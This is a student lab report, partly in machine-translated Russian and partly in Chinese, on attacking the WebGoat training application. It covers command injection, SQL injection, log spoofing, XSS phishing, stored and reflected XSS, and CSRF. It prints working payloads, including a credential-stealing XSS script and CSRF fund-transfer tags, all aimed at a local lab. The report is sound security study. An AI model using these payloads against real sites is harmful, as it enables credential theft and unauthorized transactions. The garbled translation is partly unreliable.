2018-2019-2 против сетевых технологий 20165322 Exp9 инфраструктуры веба-безопасности
каталог
Экспериментальное содержание и этапы
Проблемы, возникающие в ходе эксперимента
Основные вопросы ответили
Эксперименты и резюме опыта
Экспериментальное содержание и этапы
(А) крепления Webgoat
- Webgoat является OWASP организация разработала ряд Java-программ для веб-уязвимостей эксперимента для иллюстрации безопасности существуют уязвимости в веб-приложении. Webgoat работать на платформах с Java виртуальной машины, в настоящее время обеспечивают более 30 учебных курсов, в том числе: атак межузловых сценариев (XSS), контроля доступа, защитная нить, рабочее скрытые поля, манипуляции параметров, слабой куки сессии , SQL жалюзи, цифровой типа SQL инъекция, инъекция строка SQL, веб-службы, Open Authentication недостаточность, опасный HTML комментарий и так далее.
- Мы идем прямо по ссылке для загрузки: Webgoat-контейнер-7.0.1-ВОЙНА-exec.jar , этот пакет баночки , кажется, проблема. , , В то время в несколько раз, браузер коллапс, причина не ясна. Короче говоря, сеть хорошо больше терпения сможет добиться успеха.
- После виртуальной машины непосредственно в общих эксперименты каталога
- Используйте команду ,
java -jar webgoat-container-7.0.1-war-exec.jar
чтобы открыть Wengoat, когда на дисплее信息: Starting ProtocolHandler ["http-bio-8080"]
Описание Open, вы можете просматривать занимаемого порт 8080, эксперимент не может быть закрыт терминал - Введите в вашем браузере ,
http://localhost:8080/WebGoat
чтобы войти Webgoat экран входа в систему , прямое использование любого набора пользовательского интерфейса обеспечивает имя и пароль для входа в систему .
(B) атака инъекции SQL
1. Команда впрыска (Command Injection)
- Технические понятия: команда инъекции нападение на любого параметра приводом на сайт, он представляет собой серьезную угрозу. Этот метод атаки технологии позади технологии, легко узнать, может привести к повреждению широкого спектра компрометации системы. Хотя число такого невероятного риска, система Интернет уязвима для такой формы атаки.
- меры
- Нажмите
Injection Flaws
-Command Injection
Щелкните правой кнопкой мыши на
AccessControlMatrix.help
флажок, выберитеinspect Element
элементы обзора страницы , чтобы изменить исходный код, добавляется в конец на рисунке"& netstat -an & ipconfig"
Нажмите , чтобы
view
посмотреть адреса использования сетевого порта и IP, атака успешна
- Нажмите
2. Введите строку (Command Injection)
- Технические концепции: атаки SQL-инъекции представляют собой серьезную угрозу для любой базы данных по инициативе сайта, как она есть. Злоумышленник может просматривать содержимое базы данных без пароля.
- Технический принцип: чтобы построить свои собственные строки для инъекций SQL основан на следующем запросе.
SELECT * FROM user_data WHERE last_name = '?'
- шаги:
- Нажмите
Injection Flaws
-String SQL Injection
- Введите имя пользователя запрос
Smith' or 1=1--
, который делает запрос становится:SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1--'
где - как символ комментария, что эта формула никогда не истинный стиля.
- Нажмите
3. Вход обманывать (Log Подмена)
- Технический принцип: это нападение, чтобы обмануть человеческий глаз в лог-файл, злоумышленник может использовать этот способ, чтобы очистить свой след в журнале. Злоумышленник может изменить содержимое журнала, и даже записываются в лог-скрипт, скрипт возвращает информацию администраторы могут увидеть через браузер.
- шаги:
- Нажмите
Injection Flaws
-Log Spoofing
- Введите имя пользователя в текстовом поле:
Smith Login Succeeded for username admin
- Веб-страница возвращает значение ошибки: Логин не удался имя пользователя: кузнец Войти Преемник для имени пользователя администратора
- Но если мы заполняем Имя в
Smith%0d%0aLogin Succeeded for username: admin
использовании回车符0D%
и换行符%0A
позволили дисплей две строки в журнале, случайный пароль, нажмите логин Мы можем увидеть журнал администратора для входа успеха.
- Если ввести имя пользователя и сценарий, что произойдет?
- Введите имя пользователя
admin <script>alert(document.cookie)</script>
, администратор может видеть информацию куков всплывающих окон.
- Введите имя пользователя
- Нажмите
(С) XSS-атака
1. Cross-Site Scripting фишинг-атак (Фишинг с XSS)
- Технический принцип: всегда хорошая практика, чтобы проверить все входные данные на стороне сервера. Когда пользователь вводит незаконный ответ HTTP, вероятно, вызовет XSS. С помощью XSS, вы можете реализовать рыболовные инструменты или добавить содержимое в определенной официальной странице. Для жертв, то трудно найти контент для угроз.
- меры
- Используйте XSS может быть дополнительно добавлен в существующих элементах страницы, решение состоит из двух частей, мы должны быть использованы в комбинации:
- Жертвы заполнить форму;
- Для того, чтобы прочитать сценарий в виде собранной информации передается злоумышленнику.
- Письменный стол с именем пользователя и ввода пароля
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
- Напишите сценарий, который считывает информацию имени пользователя и пароля злоумышленник внесены в форме, отправить информацию, чтобы захватить эту информацию Webgoat
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
- Слияние более двух кусков кода, в
XSS
-Phishing with XSS
найти этот код, мы увидим , форма запрашивает имя пользователя и пароль, введите имя пользователя и пароль, нажмите на информацию авторизации будет введен Webgoat схвачен и подается обратно
- Используйте XSS может быть дополнительно добавлен в существующих элементах страницы, решение состоит из двух частей, мы должны быть использованы в комбинации:
2. XSS атаки типа хранения (Stored XSS атак)
- Технический принцип: Эта атака является общей, что в форумах и других платформах, ввод пользовательского сообщении, когда сценарий JavaScript, то скрипт будет сохранен в базе данных. Потому что это сообщение, поэтому каждый раз, когда пользователь открывает страницу, скрипт будет взят из базы данных и запустить.
- шаги:
- Введите любой символ в названии, доски объявлений , введите
<script>alert("You've been attacked!!!");</script>
, отправить отправить
- Нажмите на ссылку в списке сообщений, всплывающее сообщение
- Введите любой символ в названии, доски объявлений , введите
3. отражающие атаки XSS (Отраженный XSS атак)
- Технический принцип: XSS атака в отражении, злоумышленник может создать URL с помощью атаки сценарий, и опубликовать его на другой сайт, нажмите на него так, что жертва по электронной почте или иным способом.
- шаги:
- Введите код
<script>alert("You've been attacked!!!");</script>
, нажмите на кошелек в то же время дать обратную связь на странице
- Введите код
(D) атака CSRF
- Перед началом работы первого узнать о том, что печенье
- Печенье, иногда формы множественного числа печенья, относится к данным (обычно зашифровано), чтобы идентифицировать личность пользователя определенных сайтов, для целей отслеживания сеанса хранится на локальном терминале пользователя. Это просто что-то для состояния памяти клиента.
1. CSRF Cross Site Request Подделка
- Технический принцип: запрос межсайтовый подделке способ для нагрузки жертв атаки означает веб-страницу, содержащую изображение. Как показано в следующем коде:
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
Когда браузер жертвы пытается отобразить страницу, она будет использовать указанные параметры www.mybank.com
«мне» запрос конечной точки. Браузер запрашивает ссылку , чтобы получить изображение, даже если это на самом деле функция перевода денежных средств. Когда вы отправляете запрос, браузер добавит все куки , связанные с сайтом. Поэтому, если пользователь сайта был идентифицирован, и имеет постоянный или текущий куки сессии, то сайт не будет в состоянии законных запросы пользователей отдельно. Таким образом, злоумышленник может заставить жертву выполнять действия , которые они не намерены реализовать, например, «купить товары», или любой другой функции уязвимого сайта.
- шаги:
- См правильных параметров меню страницы и значение ЦСИ, 268 и 900 соответственно
- Введите название в каких - либо параметров, ввода окна сообщения
<img src="http://localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000" width="1" height="1" />
, форма картин URL в поле Message, то URL не виден другим пользователям, пользователь нажимает на изображение один раз, это вызовет событие CSRF, нажмите кнопку Отправить представить - Название для генерации имени ссылки (новости) в списке сообщений. Нажмите на сообщении, текущая страница будет загружена и отображается новости, переданных из 5000 юаней пользователей, так как для достижения цели атак CSRF.
2.绕过 CSRF 确认(CSRF Prompt By‐Pass)
- 技术原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
- 操作步骤:
- 查看页面右侧Parameters中的src和menu值分别为274和900
- 在title框中输入任意值,message框中输入代码:
<iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>
- 提交以后点击title链接
实验过程中遇到的问题
- 在2019kali环境下安装webgoat时,打开网页以后显示不出课程内容,换成2018kali以后就没问题了。
基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
- 防御:
- 注意检查输入的特殊字符串
- 数据库中敏感数据不要明文存储
输入错误的异常提示应当返回尽量少的信息
(2)XSS攻击的原理,如何防御
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御:
- 检查表单提交字符串,例如检查到javascript就判定为xss攻击
在表单提交或者url参数传递前,对需要的参数进行过滤
(3)CSRF攻击原理,如何防御
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
- 对于每一个重要的post提交页面,都使用一个验证码
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
实验总结与体会
本次实验在webgoat上操作起来很简单,理解起来却很不容易,参考了webgoat中文手册、cookie相关知识点完成了实验,感觉要想理解得更透彻还需要深入地研究才行。